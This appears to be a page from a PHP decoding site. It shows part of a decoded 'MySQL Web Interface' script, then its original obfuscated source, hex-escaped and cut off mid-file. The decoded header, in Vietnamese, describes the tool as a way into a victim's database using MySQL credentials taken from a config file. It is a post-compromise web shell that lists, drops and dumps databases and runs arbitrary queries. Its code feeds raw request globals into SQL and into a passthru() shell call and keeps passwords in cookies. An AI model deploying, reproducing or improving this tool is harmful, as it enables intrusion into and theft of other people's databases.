  if( $func != "" )\xa  $queryStr .= " $func(";\xa  if( $field->numeric == 1 ) {\xa  $queryStr .= $GLOBALS[$field->name];\xa  if( $func != "" )\xa    $queryStr .= "),";\xa  else\xa    $queryStr .= ",";\xa  } else {
  $queryStr .= "'" . $GLOBALS[$field->name];
  if( $func != "" )
    $queryStr .= "'),";\xa  else
    $queryStr .= "',";
  }
}\xa$field = mysql_fetch_field( $pResult );
if( $field->numeric == 1 )\xa  $queryStr .= $GLOBALS[$field->name] . ")";
else\xa  $queryStr .= "'" . $GLOBALS[$field->name] . "')";\xa\xamysql_query( $queryStr , $mysqlHandle );\xa$errMsg = mysql_error();
\xaviewData( "" );
}

function deleteData() {
global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;\xa\xa$pResult = mysql_list_fields( $dbname, $tablename );\xa$num = mysql_num_fields( $pResult );\xa\xa$key = "";
for( $i = 0; $i < $num; $i++ ) {
  $field = mysql_fetch_field( $pResult, $i );\xa  if( $field->primary_key == 1 )\xa  if( $field->numeric == 1 )
    $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";\xa  else\xa    $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
}\xa$key = substr( $key, 0, strlen($key)-4 );\xa
mysql_select_db( $dbname, $mysqlHandle );\xa$queryStr =  "DELETE FROM $tablename WHERE $key";\xamysql_query( $queryStr, $mysqlHandle );\xa$errMsg = mysql_error();\xa
viewData( "" );\xa}\xa
function dump() {\xaglobal $PHP_SELF, $USERNAME, $PASSWORD, $action, $dbname, $tablename;\xa\xaif( $action == "dumpTable" )\xa  $filename = $tablename;
else\xa  $filename = $dbname;

header("Content-disposition: filename=$filename.sql");\xaheader("Content-type: application/octetstream");\xaheader("Pragma: no-cache");
header("Expires: 0");
\xa$pResult = mysql_query( "show variables" );\xawhile( 1 ) {
  $rowArray = mysql_fetch_row( $pResult );
  if( $rowArray == false ) break;\xa  if( $rowArray[0] == "basedir" )
  $bindir = $rowArray[1]."bin/";\xa}

passthru( $bindir."mysqldump --user=$USERNAME --password=$PASSWORD $dbname $tablename" );\xa}\xa
function utils() {
global $PHP_SELF, $command;\xaecho "<h1>Utilities</h1>\n";\xaif( $command == "" || substr( $command, 0, 5 ) == "flush" ) {
  echo "<hr>\n";\xa  echo "Show\n";
  echo "<ul>\n";\xa  echo "<li><a href='$PHP_SELF?action=utils&command=show_status'>Status</a>\n";
  echo "<li><a href='$PHP_SELF?action=utils&command=show_variables'>Variables</a>\n";
  echo "<li><a href='$PHP_SELF?action=utils&command=show_processlist'>Processlist</a>\n";
  echo "</ul>\n";\xa  echo "Flush\n";\xa  echo "<ul>\n";\xa  echo "<li><a href='$PHP_SELF?action=utils&command=flush_hosts'>Hosts</a>\n";\xa  if( $command == "flush_hosts" ) {\xa  if( mysql_query( "Flush hosts" ) != false )\xa    echo "<font size=2 color=red>- Success</font>";\xa  else
    echo "<font size=2 color=red>- Fail</font>";\xa  }
  echo "<li><a href='$PHP_SELF?action=utils&command=flush_logs'>Logs</a>\n";\xa  if( $command == "flush_logs" ) {
  if( mysql_query( "Flush logs" ) != false )
    echo "<font size=2 color=red>- Success</font>";\xa  else\xa    echo "<font size=2 color=red>- Fail</font>";\xa  }\xa  echo "<li><a href='$PHP_SELF?action=utils&command=flush_privileges'>Privileges</a>\n";
  if( $command == "flush_privileges" ) {
  if( mysql_query( "Flush privileges" ) != false )
    echo "<font size=2 color=red>- Success</font>";
  else\xa    echo "<font size=2 color=red>- Fail</font>";\xa  }
  echo "<li><a href='$PHP_SELF?action=utils&command=flush_tables'>Tables</a>\n";\xa  if( $command == "flush_tables" ) {\xa  if( mysql_query( "Flush tables" ) != false )
    echo "<font size=2 color=red>- Success</font>";\xa  else\xa    echo "<font size=2 color=red>- Fail</font>";
  }\xa  echo "<li><a href='$PHP_SELF?action=utils&command=flush_status'>Status</a>\n";\xa  if( $command == "flush_status" ) {
  if( mysql_query( "Flush status" ) != false )\xa    echo "<font size=2 color=red>- Success</font>";\xa  else
    echo "<font size=2 color=red>- Fail</font>";\xa  }\xa  echo "</ul>\n";
} else {\xa  $queryStr = ereg_replace( "_", " ", $command );\xa  $pResult = mysql_query( $queryStr );
  if( $pResult == false ) {
  echo "Fail";
  return;
  }
  $col = mysql_num_fields( $pResult );\xa\xa  echo "<p class=location>$queryStr</p>\n";
  echo "<hr>\n";\xa\xa  echo "<table cellspacing=1 cellpadding=2 border=0>\n";
  echo "<tr>\n";
  for( $i = 0; $i < $col; $i++ ) {\xa  $field = mysql_fetch_field( $pResult, $i );
  echo "<th>".$field->name."</th>\n";
  }
  echo "</tr>\n";
\xa  while( 1 ) {\xa  $rowArray = mysql_fetch_row( $pResult );\xa  if( $rowArray == false ) break;\xa  echo "<tr>\n";\xa  for( $j = 0; $j < $col; $j++ )
    echo "<td>".htmlspecialchars( $rowArray[$j] )."</td>\n";\xa  echo "</tr>\n";\xa  }\xa  echo "</table>\n";
}\xa}

function header_html() {\xaglobal $PHP_SELF;\xa\xa?>
<html>
<head>\xa<title>MySQL Web Interface</title>\xa<style type="text/css">\xa<!--\xap.location {\xacolor: #FF6000;\xafont-size: small;
}\xah1 {\xacolor: #0090FF;
}\xath {
background-color: #34A725;\xacolor: #FFFFFF;
font-size: x-small;
}
td {\xabackground-color: #5DB1FF;
font-size: x-small;\xa}
form {
margin-top: 0;\xamargin-bottom: 0;
}
a {
text-decoration:none;\xacolor: #848200;\xafont-size:x-small;
}\xaa:link {
}
a:hover {\xabackground-color:#EEEFD5;
color:#FF0000;
text-decoration:none             \xa}
//-->
</style>
</head>\xa<body>
<?\xa}\xa\xafunction footer_html() {\xaglobal $mysqlHandle, $dbname, $tablename, $PHP_SELF, $USERNAME;
\xaecho "<hr>\n";
echo "<font size=2>\n";\xaecho "<font color=blue>[$USERNAME]</font> - \n";

echo "<a href='$PHP_SELF?action=listDBs'>Database List</a> | \n";\xaif( $tablename != "" )
  echo "<a href='$PHP_SELF?action=listTables&dbname=$dbname&tablename=$tablename'>Table List</a> | ";\xaecho "<a href='$PHP_SELF?action=utils'>Utils</a> |\n";\xaecho "<a href='$PHP_SELF?action=logout'>Logout</a>\n";
echo "</font>\n";\xaecho "</body>\n";\xaecho "</html>\n";
}
\xa//------------------------------------------------------ MAIN\xa
if( $action == "logon" || $action == "" || $action == "logout" )\xalogon();\xaelse if( $action == "logon_submit" )\xalogon_submit();\xaelse if( $action == "dumpTable" || $action == "dumpDB" ) {\xawhile( list($var, $value) = each($HTTP_COOKIE_VARS) ) {\xa  if( $var == "mysql_web_admin_username" ) $USERNAME = $value;\xa  if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
}
$mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD );\xadump();
} else {
while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
  if( $var == "mysql_web_admin_username" ) $USERNAME = $value;\xa  if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;\xa}\xaecho "<!--";
$mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD );
echo "-->";\xa\xaif( $mysqlHandle == false ) {\xa  echo "<html>\n";\xa  echo "<head>\n";
  echo "<title>MySQL Web Interface</title>\n";
  echo "</head>\n";\xa  echo "<body>\n";\xa  echo "<table width=100% height=100%><tr><td><center>\n";
  echo "<h1>Wrong Password!</h1>\n";\xa  echo "<a href='$PHP_SELF?action=logon'>Logon</a>\n";\xa  echo "</center></td></tr></table>\n";
  echo "</body>\n";\xa  echo "</html>\n";
} else {\xa  header_html();\xa  if( $action == "listDBs" )\xa  listDatabases();\xa  else if( $action == "createDB" )
  createDatabase();
  else if( $action == "dropDB" )
  dropDatabase();
  else if( $action == "listTables" )\xa  listTables();
  else if( $action == "createTable" )
  createTable();
  else if( $action == "dropTable" )
  dropTable();
  else if( $action == "viewSchema" )
  viewSchema();
  else if( $action == "query" )\xa  viewData( $queryStr );
  else if( $action == "addField" )\xa  manageField( "add" );
  else if( $action == "addField_submit" )
  manageField_submit( "add" );
  else if( $action == "editField" )\xa  manageField( "edit" );
  else if( $action == "editField_submit" )\xa  manageField_submit( "edit" );
  else if( $action == "dropField" )
  dropField();\xa  else if( $action == "viewData" )
  viewData( "" );
  else if( $action == "addData" )\xa  manageData( "add" );
  else if( $action == "addData_submit" )\xa  manageData_submit( "add" );\xa  else if( $action == "editData" )
  manageData( "edit" );\xa  else if( $action == "editData_submit" )\xa  manageData_submit( "edit" );\xa  else if( $action == "deleteData" )\xa  deleteData();\xa  else if( $action == "utils" )\xa  utils();
\xa  mysql_close( $mysqlHandle);
  footer_html();
}
}\xa\xa?>"; ?>

Did this file decode correctly?

Original Code

<?php
/*   __________________________________________________
    |  Obfuscated by YAK Pro - Php Obfuscator  2.0.14  |
    |              on 2024-04-04 18:17:30              |
    |    GitHub: https://github.com/pk-fr/yakpro-po    |
    |__________________________________________________|
*/
 echo "\x3c\77\xa\x2f\x2a\xa\x2a\x20\115\x79\x73\161\x6c\x20\151\156\164\145\x72\146\141\143\x65\x20\x76\x31\x2e\x30\xa\52\40\x2d\x2d\55\55\x2d\x2d\x2d\55\x2d\x2d\x2d\x2d\55\55\x2d\x2d\55\55\x2d\x2d\x2d\55\x2d\55\x2d\x2d\55\55\55\55\55\12\52\40\104\145\163\x63\162\x69\x70\x74\151\x6f\x6e\x20\72\xa\x2a\40\104\165\156\147\x60\40\x64\145\x20\154\x6f\147\x69\156\40\166\141\157\x60\40\x43\123\x44\114\40\143\x75\141\x20\166\151\x63\x74\x69\x6d\40\153\x68\151\x20\x64\141\40\142\x69\145\164\40\x75\x73\145\x72\40\x76\x61\140\40\x70\x61\x73\163\x20\143\165\x61\40\x6d\171\x73\x71\154\40\164\x68\157\156\x67\40\x71\165\x61\x20\146\x69\x6c\145\x20\x63\157\156\x66\x69\147\12\52\x2f\xa\xa\44\x48\x4f\123\x54\x4e\x41\x4d\105\40\75\40\42\154\157\143\141\x6c\150\157\x73\x74\x22\x3b\xa\12\146\165\x6e\x63\164\151\x6f\156\x20\x6c\157\x67\157\156\50\x29\40\x7b\12\147\x6c\x6f\142\141\154\40\x24\x50\x48\x50\137\x53\105\x4c\106\73\xa\xa\163\x65\164\x63\x6f\157\x6b\x69\x65\50\40\42\x6d\171\163\161\x6c\x5f\167\145\142\137\141\144\155\x69\156\137\165\163\145\162\156\141\x6d\x65\42\40\x29\x3b\12\x73\145\x74\x63\x6f\157\153\x69\145\50\x20\42\155\x79\163\161\x6c\x5f\x77\x65\142\x5f\x61\144\155\x69\156\137\x70\x61\x73\163\167\x6f\x72\x64\x22\x20\51\73\12\x65\x63\150\x6f\40\42\74\x68\x74\x6d\154\76\134\156\42\x3b\xa\x65\143\x68\157\40\42\x3c\150\x65\141\x64\76\134\x6e\42\73\xa\x65\x63\x68\157\x20\x22\x3c\x74\x69\x74\154\145\76\x4d\x79\163\161\154\40\x69\x6e\164\x65\x72\x66\x61\x63\x65\74\x2f\164\151\x74\x6c\145\x3e\x5c\156\42\x3b\xa\145\143\150\157\x20\42\x3c\57\x68\x65\141\x64\x3e\134\156\42\73\12\x65\143\150\x6f\40\x22\x3c\142\x6f\x64\x79\x3e\x5c\156\x22\73\12\145\143\150\157\x20\42\x3c\x74\x61\142\x6c\145\x20\x77\x69\x64\x74\150\75\x31\x30\60\45\x20\150\145\151\147\x68\x74\x3d\x31\60\60\x25\x3e\x3c\164\162\x3e\x3c\x74\x64\76\x3c\143\145\156\x74\145\162\x3e\x5c\x6e\x22\x3b\xa\x65\143\150\157\x20\42\74\164\x61\142\154\145\40\x63\x65\154\x6c\160\141\144\x64\x69\156\x67\75\62\x3e\x3c\164\162\76\74\164\144\x20\142\147\x63\x6f\154\157\x72\x3d\x23\x30\x30\x39\x30\x46\106\x3e\74\x63\145\156\x74\x65\x72\x3e\x5c\156\x22\73\xa\x65\x63\150\157\x20\42\74\x74\x61\142\154\x65\40\143\145\154\x6c\x70\x61\144\144\151\x6e\x67\x3d\x32\60\76\74\164\162\76\74\164\x64\40\142\147\x63\x6f\x6c\x6f\162\75\x23\146\x66\146\146\146\x66\76\x3c\x63\x65\156\164\x65\x72\76\x5c\156\42\73\12\x65\x63\150\x6f\x20\x22\x3c\x68\x31\x3e\74\x62\76\x3c\146\x6f\x6e\164\40\143\157\154\157\x72\75\x23\106\106\x30\x30\60\x30\76\x4d\171\163\161\x6c\40\x49\156\x74\145\162\146\141\x63\x65\x20\x76\61\x2e\x30\74\57\146\x6f\x6e\164\76\x3c\x2f\x62\x3e\74\57\x68\x31\x3e\134\x6e\42\x3b\12\x65\x63\150\157\40\x22\x3c\x66\x6f\x72\x6d\x20\141\143\164\151\157\156\75\47\44\x50\110\x50\x5f\123\x45\114\x46\x27\76\134\x6e\42\73\12\x65\143\150\157\40\x22\74\151\156\x70\165\164\x20\x74\x79\160\145\75\x68\x69\x64\144\145\x6e\x20\x6e\141\x6d\x65\x3d\x61\x63\x74\x69\157\156\x20\x76\141\x6c\165\145\75\x6c\157\x67\157\156\137\x73\x75\142\x6d\151\164\76\x5c\156\x22\73\xa\145\x63\x68\x6f\x20\42\x3c\x74\141\x62\x6c\145\40\x63\x65\x6c\x6c\x70\x61\x64\144\151\x6e\x67\x3d\x35\40\143\145\x6c\x6c\163\160\141\143\x69\x6e\147\75\61\76\x5c\156\x22\73\xa\145\x63\x68\x6f\x20\x22\74\x74\x72\76\x3c\x74\144\x3e\125\163\x65\x72\x6e\x61\x6d\145\x20\x3c\x2f\164\x64\76\x3c\164\144\x3e\x20\x3c\151\x6e\x70\165\164\x20\164\x79\160\145\75\x74\145\x78\x74\40\156\x61\x6d\x65\75\165\x73\x65\162\x6e\141\155\x65\x3e\x3c\x2f\164\144\76\74\57\164\x72\76\x5c\x6e\42\73\xa\x65\x63\150\x6f\x20\x22\x3c\164\162\x3e\74\164\144\76\x50\141\x73\x73\167\157\x72\144\x20\74\57\x74\144\76\74\x74\144\76\x20\x3c\151\156\160\165\164\x20\164\x79\x70\145\x3d\x70\x61\x73\x73\167\157\x72\x64\40\x6e\x61\155\x65\x3d\x70\141\x73\x73\167\157\162\x64\76\74\57\x74\x64\x3e\x3c\x2f\164\162\x3e\134\x6e\42\x3b\xa\x65\x63\150\x6f\x20\42\x3c\x2f\x74\141\x62\x6c\x65\x3e\x3c\x70\x3e\134\x6e\42\73\xa\145\x63\x68\x6f\x20\x22\74\x69\156\160\165\164\x20\x74\171\x70\x65\75\163\x75\x62\155\151\164\40\x76\x61\x6c\x75\x65\x3d\47\x45\x6e\164\x65\x72\47\76\x5c\156\42\73\12\x65\143\150\x6f\40\42\74\x69\x6e\160\165\x74\x20\x74\x79\160\x65\75\x72\145\x73\x65\x74\40\x76\141\154\165\x65\x3d\47\103\154\145\x61\162\47\x3e\x3c\x62\162\x3e\134\x6e\x22\x3b\12\145\143\x68\x6f\x20\42\x3c\x2f\x66\x6f\162\155\76\134\156\42\73\12\145\x63\150\x6f\40\42\74\x2f\143\x65\x6e\x74\145\162\76\74\57\x74\x64\x3e\74\x2f\164\162\76\x3c\57\x74\x61\142\x6c\x65\x3e\x5c\156\42\73\12\145\143\x68\x6f\x20\x22\x3c\x2f\x63\x65\156\164\x65\x72\76\x3c\x2f\164\144\76\74\x2f\x74\162\76\x3c\x2f\x74\x61\x62\x6c\x65\x3e\x5c\156\42\73\12\145\143\150\157\x20\42\74\160\x3e\74\150\162\x20\x77\151\x64\x74\x68\x3d\63\x30\60\76\x5c\156\42\73\12\145\x63\150\x6f\x20\x22\74\x66\157\156\164\40\163\x69\172\145\x3d\x32\x3e\x5c\x6e\42\73\xa\145\143\150\157\x20\42\103\157\160\x79\x72\151\147\150\164\40\46\143\x6f\x70\x79\x3b\40\x32\x30\60\x35\134\156\x20\74\x62\162\76\42\x3b\xa\x65\143\150\157\x20\42\74\x2f\146\x6f\x6e\164\x3e\134\156\42\73\xa\145\x63\x68\157\x20\x22\x3c\x2f\x63\145\x6e\x74\145\162\x3e\x3c\x2f\164\144\76\74\57\x74\162\76\x3c\x2f\164\141\142\x6c\145\76\x5c\156\x22\x3b\12\145\143\150\x6f\40\42\x3c\57\142\x6f\x64\x79\x3e\134\x6e\x22\x3b\12\145\143\150\157\x20\42\x3c\x2f\x68\x74\155\x6c\76\x5c\x6e\42\73\xa\175\12\12\x66\x75\156\x63\164\x69\157\x6e\40\154\157\147\157\x6e\x5f\x73\x75\142\x6d\x69\164\x28\x29\x20\173\xa\147\x6c\157\142\x61\154\40\44\x75\x73\x65\x72\x6e\141\155\145\x2c\x20\x24\x70\x61\x73\x73\x77\x6f\162\144\x2c\x20\44\120\x48\120\137\123\x45\114\x46\73\12\12\x73\x65\x74\x63\157\157\x6b\x69\x65\x28\x20\x22\155\171\x73\161\x6c\137\x77\x65\142\x5f\141\x64\155\151\x6e\137\x75\163\x65\162\156\141\155\x65\42\x2c\40\44\x75\x73\x65\162\x6e\x61\x6d\x65\x20\x29\73\12\163\145\164\x63\x6f\x6f\153\151\x65\x28\40\x22\x6d\171\163\x71\154\x5f\x77\x65\142\x5f\141\144\x6d\151\156\137\160\141\163\x73\x77\157\162\144\42\54\40\44\160\141\163\163\167\x6f\162\144\x20\x29\x3b\xa\145\x63\150\x6f\x20\x22\x3c\150\x74\x6d\154\76\x22\x3b\12\145\x63\x68\157\40\42\74\150\145\x61\x64\76\x22\x3b\xa\x65\x63\150\157\x20\x22\74\x4d\105\124\101\x20\110\124\x54\120\x2d\x45\x51\125\111\126\x3d\122\x65\x66\162\145\163\150\40\x43\117\116\124\x45\x4e\124\75\47\x30\73\40\x55\122\x4c\x3d\x24\120\x48\x50\x5f\123\x45\114\106\77\141\x63\164\151\x6f\x6e\x3d\x6c\151\163\164\104\102\x73\47\76\42\x3b\xa\145\143\150\x6f\40\42\74\x2f\150\145\141\x64\76\x22\73\xa\145\143\150\157\40\x22\74\x2f\x68\x74\x6d\154\x3e\42\73\xa\x7d\12\xa\146\165\x6e\x63\164\x69\x6f\x6e\40\145\x63\150\157\121\165\145\162\171\122\145\163\x75\154\x74\x28\x29\40\173\xa\147\x6c\157\142\x61\154\40\44\x71\x75\x65\x72\x79\123\x74\162\54\40\x24\x65\162\162\x4d\163\147\73\12\12\151\x66\50\40\x24\x65\162\x72\x4d\x73\147\x20\x3d\x3d\x20\x22\x22\40\x29\40\x24\x65\162\162\x4d\163\147\x20\75\x20\x22\123\165\143\143\145\x73\163\42\x3b\12\151\x66\x28\x20\44\x71\165\145\x72\171\x53\x74\x72\40\x21\75\x20\x22\x22\40\51\40\173\xa\40\x20\145\143\150\x6f\40\x22\x3c\x74\x61\x62\x6c\145\x20\x63\x65\x6c\154\160\x61\x64\x64\151\156\x67\x3d\65\x3e\x5c\156\42\x3b\xa\x20\40\x65\143\x68\x6f\x20\42\x3c\x74\162\76\74\164\144\76\121\165\145\x72\x79\x3c\x2f\164\144\x3e\x3c\164\x64\76\44\x71\x75\x65\x72\x79\x53\x74\x72\x3c\x2f\164\x64\76\x3c\x2f\164\162\76\134\x6e\x22\73\xa\x20\x20\x65\143\x68\x6f\x20\42\74\x74\162\x3e\x3c\164\x64\76\x52\x65\163\x75\154\164\x3c\x2f\x74\144\76\74\x74\144\x3e\x24\145\162\x72\x4d\x73\x67\74\57\x74\144\x3e\x3c\x2f\164\x72\x3e\x5c\156\x22\73\xa\x20\40\x65\143\150\157\x20\x22\x3c\x2f\164\x61\142\x6c\x65\x3e\74\160\x3e\134\x6e\x22\73\12\175\12\175\xa\xa\x66\165\156\143\164\151\x6f\156\x20\x6c\x69\163\164\x44\141\x74\x61\x62\141\163\145\163\x28\x29\x20\x7b\12\147\154\157\142\x61\x6c\x20\44\155\x79\x73\161\154\110\x61\156\x64\154\145\x2c\40\x24\120\x48\120\137\x53\105\x4c\x46\73\12\12\145\143\150\157\x20\x22\74\x68\x31\x3e\x44\141\164\141\x62\x61\x73\145\x20\x4c\151\x73\164\74\57\150\x31\76\x5c\156\x22\73\xa\xa\145\143\150\157\40\x22\74\x66\x6f\162\x6d\40\141\143\x74\x69\x6f\x6e\x3d\47\44\120\x48\120\x5f\x53\x45\114\106\47\x3e\134\156\x22\73\xa\145\143\x68\157\40\42\x3c\151\x6e\160\165\x74\x20\x74\x79\x70\145\75\x68\x69\144\x64\145\156\x20\x6e\x61\155\x65\75\141\x63\x74\151\x6f\156\40\166\141\x6c\x75\x65\x3d\x63\162\145\141\164\x65\104\x42\x3e\134\x6e\42\x3b\12\145\143\x68\x6f\x20\42\x3c\151\156\160\x75\x74\40\164\171\x70\145\x3d\x74\145\x78\164\40\x6e\x61\155\145\x3d\144\142\x6e\141\x6d\145\x3e\x5c\156\42\73\12\x65\x63\x68\157\40\42\74\x69\156\160\165\x74\40\164\x79\x70\x65\x3d\x73\165\142\155\x69\164\40\x76\x61\154\x75\x65\x3d\47\x43\162\x65\x61\x74\x65\x20\104\x61\164\141\142\x61\163\x65\x27\76\134\156\42\x3b\12\x65\x63\150\157\x20\42\x3c\x2f\146\157\x72\x6d\76\x5c\x6e\42\73\12\145\x63\150\157\x20\x22\74\x68\x72\76\x5c\156\42\73\xa\xa\145\143\x68\x6f\x20\x22\x3c\164\x61\142\154\145\40\x63\145\x6c\154\163\160\141\143\x69\156\x67\75\61\x20\x63\x65\x6c\154\160\141\x64\144\x69\156\147\x3d\65\x3e\134\156\42\73\12\12\44\160\x44\102\40\x3d\x20\x6d\171\x73\x71\x6c\137\154\x69\163\x74\x5f\x64\142\x73\x28\x20\x24\x6d\x79\163\x71\154\110\x61\x6e\144\x6c\145\40\51\x3b\12\44\156\x75\155\x20\75\40\155\171\x73\161\x6c\x5f\156\x75\155\137\x72\157\167\x73\x28\40\x24\160\x44\102\x20\x29\73\12\146\x6f\162\50\x20\44\x69\40\x3d\40\x30\x3b\40\x24\x69\40\x3c\x20\44\156\x75\155\x3b\40\44\151\53\53\40\x29\x20\173\xa\x20\40\x24\x64\142\x6e\x61\155\x65\40\75\x20\155\x79\163\161\x6c\x5f\144\x62\156\x61\x6d\x65\x28\x20\44\x70\x44\102\x2c\40\44\151\40\x29\x3b\xa\40\40\145\143\150\x6f\x20\x22\x3c\x74\162\76\134\x6e\x22\x3b\12\x20\40\x65\x63\150\x6f\40\42\74\x74\144\x3e\x24\144\142\156\141\155\x65\74\x2f\164\x64\x3e\134\156\42\x3b\12\40\x20\x65\x63\x68\x6f\40\x22\x3c\164\144\x3e\x3c\x61\x20\x68\x72\x65\146\75\47\44\120\x48\120\137\123\105\x4c\x46\77\141\x63\164\151\157\x6e\75\154\151\163\164\124\x61\142\x6c\145\163\x26\144\142\156\x61\155\x65\75\x24\x64\142\156\x61\x6d\x65\x27\76\124\141\x62\x6c\145\x3c\57\x61\x3e\x3c\57\164\144\x3e\x5c\156\x22\73\xa\40\40\145\143\x68\157\x20\x22\74\164\144\x3e\x3c\141\40\150\162\x65\x66\75\47\x24\120\110\x50\x5f\x53\x45\114\x46\x3f\x61\143\164\151\157\156\75\x64\162\157\x70\x44\x42\46\x64\x62\x6e\141\x6d\145\x3d\x24\144\x62\156\141\x6d\145\x27\40\x6f\x6e\103\x6c\151\143\x6b\x3d\x5c\42\162\x65\164\x75\162\156\40\143\157\156\x66\151\x72\x6d\x28\47\104\x72\157\160\x20\x44\x61\x74\x61\x62\141\163\145\40\x5c\x27\44\144\x62\156\x61\155\x65\134\x27\77\47\51\x5c\42\x3e\104\x72\x6f\x70\74\x2f\141\76\x3c\x2f\x74\144\76\x5c\x6e\x22\73\xa\x20\x20\145\143\x68\157\40\42\x3c\164\144\76\x3c\141\x20\150\162\x65\146\x3d\47\x24\120\110\120\x5f\x53\105\x4c\x46\x3f\141\x63\164\x69\157\156\x3d\x64\x75\155\x70\104\x42\46\x64\x62\156\141\x6d\x65\x3d\44\x64\142\x6e\141\155\145\x27\76\104\x75\155\160\x3c\57\x61\76\74\57\164\x64\76\134\156\42\x3b\xa\40\x20\145\x63\150\x6f\x20\42\74\57\164\x72\76\x5c\156\42\x3b\12\175\12\145\143\x68\157\x20\42\x3c\57\x74\141\x62\154\x65\x3e\x5c\156\42\73\12\x7d\xa\12\146\165\156\x63\164\x69\x6f\x6e\x20\143\162\x65\141\164\x65\x44\x61\164\141\x62\x61\163\145\x28\51\40\173\12\x67\x6c\x6f\x62\x61\x6c\x20\x24\x6d\x79\163\x71\154\110\x61\156\144\x6c\145\54\x20\x24\x64\142\156\x61\155\x65\x2c\40\44\x50\x48\x50\137\123\105\x4c\x46\73\xa\xa\155\x79\x73\x71\154\137\143\162\x65\x61\x74\x65\x5f\144\x62\50\40\x24\x64\142\156\141\155\x65\54\x20\44\x6d\x79\163\161\154\x48\x61\156\144\154\145\40\51\73\12\154\151\x73\164\x44\x61\164\141\x62\141\163\145\163\50\x29\x3b\xa\x7d\xa\12\x66\165\x6e\x63\164\x69\157\x6e\40\x64\x72\157\x70\x44\x61\x74\x61\142\x61\x73\145\x28\x29\40\173\12\147\x6c\x6f\x62\141\154\x20\44\x6d\x79\x73\161\154\x48\141\x6e\x64\x6c\x65\54\40\x24\x64\142\156\141\155\145\x2c\40\44\120\x48\120\x5f\123\105\x4c\106\73\xa\12\155\171\163\x71\154\137\x64\162\x6f\x70\x5f\x64\142\x28\40\44\x64\142\156\141\155\145\x2c\40\44\155\171\163\x71\154\110\x61\x6e\144\x6c\x65\x20\x29\73\12\154\x69\x73\164\104\x61\x74\x61\x62\141\163\145\x73\50\51\73\xa\x7d\xa\12\146\165\x6e\143\164\x69\157\x6e\x20\x6c\151\163\x74\124\x61\142\154\x65\163\50\x29\x20\x7b\xa\147\x6c\x6f\x62\141\154\x20\44\x6d\171\163\x71\x6c\110\141\156\144\154\145\x2c\x20\44\x64\x62\156\x61\x6d\145\54\40\x24\x50\110\x50\137\x53\x45\114\x46\73\12\xa\145\143\x68\157\40\42\x3c\150\61\x3e\124\x61\x62\154\145\40\114\151\x73\164\74\57\150\61\76\134\156\42\x3b\12\145\x63\150\157\40\x22\x3c\160\40\143\154\x61\x73\163\x3d\x6c\x6f\143\x61\x74\151\157\x6e\x3e\44\144\x62\156\x61\x6d\x65\74\x2f\160\x3e\134\156\x22\x3b\12\145\143\x68\x6f\121\x75\x65\162\171\122\145\163\x75\x6c\x74\50\51\x3b\xa\145\143\x68\x6f\40\x22\74\x66\x6f\162\155\40\141\x63\164\151\157\156\75\x27\44\120\x48\120\137\123\x45\114\x46\47\76\134\x6e\x22\x3b\12\145\143\150\157\40\x22\x3c\151\156\x70\165\x74\x20\x74\x79\x70\145\75\x68\x69\144\144\145\x6e\40\x6e\141\155\145\75\141\143\x74\x69\x6f\156\40\x76\x61\x6c\x75\145\x3d\x63\162\x65\141\164\145\x54\141\x62\x6c\x65\76\x5c\x6e\42\x3b\xa\145\143\150\x6f\x20\x22\x3c\151\x6e\x70\x75\x74\40\x74\x79\160\145\75\150\151\144\x64\145\x6e\x20\156\x61\x6d\x65\75\144\x62\156\x61\155\145\x20\x76\141\x6c\165\x65\75\44\x64\x62\x6e\x61\x6d\145\76\x5c\156\42\73\xa\145\x63\150\x6f\40\x22\x3c\x69\x6e\x70\165\164\40\x74\x79\160\145\x3d\164\x65\170\x74\40\156\141\155\x65\75\x74\x61\x62\x6c\x65\x6e\x61\155\145\x3e\x5c\x6e\42\x3b\12\x65\143\x68\157\x20\42\74\x69\156\160\165\x74\x20\x74\171\160\x65\75\x73\165\142\x6d\x69\x74\40\166\x61\154\x75\145\75\x27\x43\x72\145\x61\164\145\x20\124\141\x62\x6c\145\x27\x3e\x5c\156\x22\73\xa\145\x63\x68\157\40\42\x3c\x2f\x66\157\x72\x6d\76\x5c\156\x22\x3b\xa\145\143\150\x6f\40\42\74\x66\157\162\x6d\40\141\143\x74\151\x6f\156\75\47\44\120\x48\120\137\123\105\x4c\x46\47\76\x5c\156\42\x3b\xa\145\x63\150\157\40\42\x3c\x69\x6e\160\165\x74\x20\x74\171\x70\145\x3d\x68\x69\144\144\x65\x6e\40\156\141\x6d\x65\x3d\141\143\164\x69\x6f\x6e\x20\166\141\x6c\x75\145\75\161\165\x65\x72\171\76\x5c\x6e\x22\73\12\x65\143\150\157\40\42\x3c\x69\x6e\x70\x75\164\40\x74\x79\160\x65\75\x68\151\144\144\145\x6e\x20\156\x61\x6d\x65\75\x64\x62\x6e\x61\155\145\40\x76\141\x6c\165\145\75\44\x64\x62\x6e\x61\155\145\76\x5c\x6e\42\x3b\xa\145\143\x68\x6f\x20\x22\74\151\156\160\165\164\x20\164\x79\x70\145\75\164\x65\170\x74\x20\x73\151\x7a\145\x3d\x34\x30\x20\x6e\x61\155\145\x3d\x71\x75\x65\162\171\x53\164\162\76\134\x6e\x22\73\12\57\x2f\145\143\x68\157\40\42\74\x74\145\170\164\x61\162\x65\x61\x20\x63\157\154\163\75\x33\60\40\162\157\167\163\75\x33\x20\x6e\x61\155\x65\75\161\x75\x65\x72\x79\x53\x74\162\76\x3c\x2f\x74\x65\170\164\141\x72\x65\x61\x3e\74\x62\162\x3e\x22\x3b\xa\x65\143\150\x6f\40\42\74\151\156\x70\165\x74\40\164\x79\160\145\x3d\x73\x75\142\x6d\151\164\40\x76\141\154\165\145\75\x27\121\165\145\x72\x79\x27\76\x5c\x6e\x22\73\xa\x65\x63\x68\x6f\x20\x22\x3c\x2f\x66\x6f\162\x6d\76\134\156\42\x3b\xa\145\x63\x68\157\40\x22\x3c\x68\162\76\x5c\x6e\x22\x3b\12\xa\44\x70\x54\x61\142\x6c\145\40\75\40\155\171\163\161\x6c\x5f\x6c\151\x73\164\x5f\x74\141\142\154\x65\x73\50\x20\44\144\142\x6e\141\155\x65\40\51\73\12\xa\151\146\x28\40\x24\x70\124\141\142\x6c\x65\40\75\x3d